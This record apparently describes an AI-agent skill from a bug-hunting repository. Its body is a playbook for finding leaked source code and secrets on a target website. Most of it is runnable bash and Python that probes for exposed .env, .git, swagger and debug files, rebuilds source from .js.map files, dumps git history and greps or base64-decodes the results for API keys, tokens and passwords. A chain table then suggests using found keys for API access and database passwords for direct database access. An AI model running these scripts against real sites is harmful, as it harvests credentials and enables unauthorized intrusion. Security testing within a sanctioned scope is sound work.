{"id":"hunt-source-leak","name":"hunt-source-leak","summary":"ソースコードとビルドアーティファクト漏洩の検索 — JavaScriptのソースマップ(.js.map)によるTypeScript/ES6ソースの再構築、Swagger/OpenAPI JSONエンドポイントの発見、.env/.gitの露出、ハードコードされた秘密を持つWebpackチャンク、robots.txt/s…","body":"# HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage\n\n## Crown Jewel Targets\n\nSource map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.\n\n**Highest-value findings:**\n- **`.js.map` source maps** — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses\n- **`swagger.json` / `openapi.json`** — complete REST API specification with all endpoints, parameters, auth schemes, and internal route names\n- **`.env` / `.env.production`** — APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext\n- **`.git/` exposure** — `git clone` the entire source history → all past hardcoded secrets\n- **`asset-manifest.json` / `_next/static/`** — all JS bundle paths → systematic source map discovery\n- **`build-info` / `info.json`** — git commit hash, build timestamp, dependency versions → CVE targeting\n\n---\n\n## Phase 1 — Quick Wins (Run First)\n\n```bash\n# These 10 requests take <30 seconds and often yield Critical findings\nfor PATH in \\\n  \"/.env\" \\\n  \"/.env.production\" \\\n  \"/.env.local\" \\\n  \"/.git/HEAD\" \\\n  \"/swagger.json\" \\\n  \"/api/swagger.json\" \\\n  \"/v1/swagger.json\" \\\n  \"/openapi.json\" \\\n  \"/api/openapi.json\" \\\n  \"/api-docs\"; do\n  STATUS=$(curl -s -o /tmp/sl_test -w \"%{http_code}\" \"https://$TARGET$PATH\")\n  if [ \"$STATUS\" = \"200\" ]; then\n    echo \"[+] HIT: https://$TARGET$PATH\"\n    head -5 /tmp/sl_test\n    echo \"---\"\n  fi\ndone\n```\n\n---\n\n## Phase 2 — Source Map Discovery\n\n> **Always resolve the CURRENT build hash before testing, and again before\n> re-verifying.** Bundle filenames are content-hashed, so they rotate on every\n> deploy. A `.map` URL recorded yesterday can 404 today while the map is still\n> fully exposed under a new name. **A 404 at the old URL is not remediation** —\n> it is a new build.\n>\n> ```bash\n> # ALWAYS derive the hash live, never reuse a recorded URL\n> HASH=$(curl -s \"https://$TARGET/\" | grep -oE 'main\\.[a-f0-9]+\\.js' | head -1)\n> curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\\n' \\\n>   \"https://$TARGET/static/js/${HASH}.map\"\n> ```\n>\n> **Lesson from an authorized engagement.** A large production map was found at\n> `main.<hashA>.js.map`. On re-verification that URL returned a small HTML\n> soft-404 and the finding was nearly closed as fixed. The bundle had rotated to\n> `main.<hashB>.js` — and the map was still published at `main.<hashB>.js.map`,\n> same size. Nothing had been remediated.\n>\n> Tell the client this explicitly in the report: **redeploying does not fix source\n> map exposure.** Only `GENERATE_SOURCEMAP=false` (or stripping `.map` at deploy)\n> plus a CDN purge closes it. A team that redeploys and re-checks the old link\n> will wrongly declare victory.\n>\n> Same rule applies to any content-hashed artifact: chunk files, CSS maps,\n> `asset-manifest.json`, and staging equivalents.\n\n```bash\n# Step 1: Get asset manifest to find all JS bundle paths\ncurl -s \"https://$TARGET/asset-manifest.json\" | python3 -m json.tool 2>/dev/null\ncurl -s \"https://$TARGET/static/js/main.*.js\" 2>/dev/null | head -3\n\n# Next.js\nBUILD_ID=$(curl -s https://$TARGET/ | grep -oP '\"buildId\":\"\\K[^\"]+')\ncurl -s \"https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js\" | head -5\n\n# Step 2: For each JS bundle, check for source map reference at end of file\nfor JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src=\"[^\"]*\\.js\"' | sed 's/src=\"//;s/\"//'); do\n  LAST_LINE=$(curl -s \"https://$TARGET$JS_URL\" | tail -1)\n  echo \"$LAST_LINE\" | grep -q \"sourceMappingURL\" && echo \"[+] Source map: $JS_URL\"\ndone\n\n# Step 3: Download and reconstruct source from .map files\nJS_URL=\"https://$TARGET/static/js/main.abc123.js\"\nMAP_URL=\"${JS_URL}.map\"\ncurl -s \"$MAP_URL\" | python3 -c \"\nimport sys, json, os\ndata = json.load(sys.stdin)\nsources = data.get('sources', [])\ncontents = data.get('sourcesContent', [])\nfor i, (src, content) in enumerate(zip(sources, contents)):\n    if content:\n        path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')\n        os.makedirs(os.path.dirname(path), exist_ok=True)\n        with open(path, 'w') as f:\n            f.write(content)\n        print(f'[+] Extracted: {src}')\n\"\n\n# Step 4: Grep extracted source for secrets\ngrep -r \"API_KEY\\|SECRET\\|PASSWORD\\|TOKEN\\|PRIVATE\" /tmp/sourcemap_extract/ 2>/dev/null\ngrep -r \"process\\.env\\.\" /tmp/sourcemap_extract/ 2>/dev/null | grep -v \"NEXT_PUBLIC_\" | head -20\ngrep -r \"http://internal\\|localhost\\|127\\.0\\.0\\.1\\|10\\.\\|172\\.\\|192\\.168\" /tmp/sourcemap_extract/ 2>/dev/null | head -20\n```\n\n---\n\n## Phase 3 — Swagger / OpenAPI Discovery\n\n```bash\n# Common paths\nSWAGGER_PATHS=(\n  \"/swagger.json\" \"/swagger.yaml\" \"/swagger/\"\n  \"/api/swagger.json\" \"/api/swagger.yaml\"\n  \"/v1/swagger.json\" \"/v2/swagger.json\" \"/v3/swagger.json\"\n  \"/openapi.json\" \"/openapi.yaml\"\n  \"/api/openapi.json\" \"/api-docs\" \"/api-docs.json\"\n  \"/api/v1/swagger.json\" \"/api/v2/swagger.json\"\n  \"/rest/swagger.json\" \"/rest/api-docs\"\n  \"/.well-known/openapi.json\"\n  \"/graphql/schema.json\"\n)\n\nfor PATH in \"${SWAGGER_PATHS[@]}\"; do\n  STATUS=$(curl -s -o /tmp/swagger_test -w \"%{http_code}\" \"https://$TARGET$PATH\")\n  if [ \"$STATUS\" = \"200\" ]; then\n    echo \"[+] Found: https://$TARGET$PATH\"\n    # Extract all API paths from swagger\n    python3 -c \"\nimport sys, json\ntry:\n    d = json.load(open('/tmp/swagger_test'))\n    paths = list(d.get('paths', {}).keys())\n    print(f'Endpoints: {len(paths)}')\n    print('\\n'.join(sorted(paths)))\nexcept: pass\n\" | head -50\n  fi\ndone\n```\n\n---\n\n## Phase 4 — .git Exposure\n\n```bash\n# Check if .git directory is accessible\ncurl -s \"https://$TARGET/.git/HEAD\" | grep -q \"ref:\" && echo \"[+] .git exposed!\"\n\n# If exposed, reconstruct repo\n# Tool: git-dumper\npip3 install git-dumper\ngit-dumper \"https://$TARGET/.git/\" /tmp/dumped-repo/\n\n# Grep for secrets in all git history\ncd /tmp/dumped-repo && \\\n  git log --all --oneline 2>/dev/null | head -20\n  git grep -i \"password\\|secret\\|api_key\\|token\" $(git rev-list --all) 2>/dev/null | head -30\n\n# trufflehog on git history\ntrufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50\n```\n\n---\n\n## Phase 5 — Forgotten Files & Debug Endpoints\n\n```bash\n# Build artifacts and debug files\nDEBUG_PATHS=(\n  \"/build-info.json\" \"/build/build-info.json\"\n  \"/info\" \"/actuator/info\" \"/api/info\"\n  \"/version\" \"/api/version\" \"/_version\"\n  \"/health\" \"/status\" \"/ping\"\n  \"/robots.txt\" \"/security.txt\" \"/.well-known/security.txt\"\n  \"/sitemap.xml\" \"/manifest.json\" \"/browserconfig.xml\"\n  \"/crossdomain.xml\" \"/clientaccesspolicy.xml\"\n  \"/phpinfo.php\" \"/info.php\" \"/test.php\"\n  \"/server-status\" \"/server-info\" \"/.htaccess\"\n  \"/web.config\" \"/applicationHost.config\"\n  \"/WEB-INF/web.xml\" \"/META-INF/MANIFEST.MF\"\n  \"/package.json\" \"/composer.json\" \"/Gemfile\"\n  \"/Dockerfile\" \"/docker-compose.yml\" \"/.dockerenv\"\n)\n\nfor PATH in \"${DEBUG_PATHS[@]}\"; do\n  STATUS=$(curl -s -o /tmp/debug_test -w \"%{http_code}\" \"https://$TARGET$PATH\")\n  if [ \"$STATUS\" = \"200\" ]; then\n    echo \"[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)\"\n    head -3 /tmp/debug_test\n    echo \"---\"\n  fi\ndone\n```\n\n---\n\n## Phase 6 — .DS_Store File Listing\n\n```bash\n# .DS_Store files on macOS-deployed web servers reveal directory structure\ncurl -s \"https://$TARGET/.DS_Store\" | xxd | head -10\n\n# Parse .DS_Store to extract filenames\npip3 install ds_store\npython3 -c \"\nfrom ds_store import DSStore\nwith DSStore.open('/tmp/ds_store_test', 'r') as d:\n    for entry in d:\n        print(entry.filename)\n\"\n\n# Recursive .DS_Store enumeration\n# Tool: https://github.com/lijiejie/ds_store_exp\npython3 ds_store_exp.py \"https://$TARGET/\"\n```\n\n---\n\n## Phase 7 — webpack Chunk Analysis\n\n```bash\n# Download and analyze webpack chunks for hardcoded values\n# Find chunk files\ncurl -s https://$TARGET/ | grep -oP '\"[^\"]*\\.chunk\\.js\"' | tr -d '\"' | while read chunk; do\n  echo \"Analyzing: $chunk\"\n  curl -s \"https://$TARGET$chunk\" | \\\n    grep -oE '\"(api_key|apiKey|secret|password|token|key)\"\\s*:\\s*\"[^\"]+\"' | head -5\ndone\n\n# Also grep for internal hostnames\ncurl -s \"https://$TARGET/static/js/main.*.js\" | \\\n  grep -oE '\"(https?://[^\"]*internal[^\"]*|http://[^\"]*localhost[^\"]*)\"' | sort -u\n\n# Check for Base64-encoded secrets\ncurl -s \"https://$TARGET/static/js/main.*.js\" | \\\n  grep -oP '\"[A-Za-z0-9+/]{30,}={0,2}\"' | while read b64; do\n  DECODED=$(echo \"$b64\" | tr -d '\"' | base64 -d 2>/dev/null)\n  echo \"$DECODED\" | grep -iE \"key|secret|password|token\" && echo \"  B64: $b64\"\ndone\n```\n\n---\n\n## Chain Table\n\n| Source leak finding | Chain to | Impact |\n|--------------------|----------|--------|\n| Source map with API key | Use key directly → API access | High/Critical |\n| Source map with auth logic | Find auth bypass route | Critical |\n| Swagger → internal endpoints | Test undocumented admin routes | High |\n| .git exposed | Full source history → all past secrets | Critical |\n| build-info with git hash | CVE targeting exact version | High |\n| .env with DB_PASSWORD | Direct database access | Critical |\n\n---\n\n## Tools\n\n```bash\n# git-dumper (reconstruct exposed .git)\npip3 install git-dumper\ngit-dumper \"https://target.com/.git/\" /tmp/repo/\n\n# sourcemap-explorer (visualize what's in bundles)\nnpm install -g source-map-explorer\nsource-map-explorer main.js\n\n# unwebpack-sourcemap (extract all source files)\nnpm install -g unwebpack-sourcemap\n\n# trufflehog (secret scanning)\ntrufflehog filesystem /tmp/repo/\n```\n\n---\n\n## Validation\n\n✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets\n✅ Swagger: JSON contains internal endpoints not visible in UI\n✅ .git exposed: git-dumper successfully clones repo, secrets in history\n✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext\n\n**Severity:**\n- .env with credentials: Critical\n- .git with secrets in history: Critical\n- Source map with secrets: High\n- Swagger with internal routes: Medium-High\n- robots.txt only: Informational","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-source-leak","license":"MIT","category":"document","lang":"en","tokens":2886,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["target.com"]}}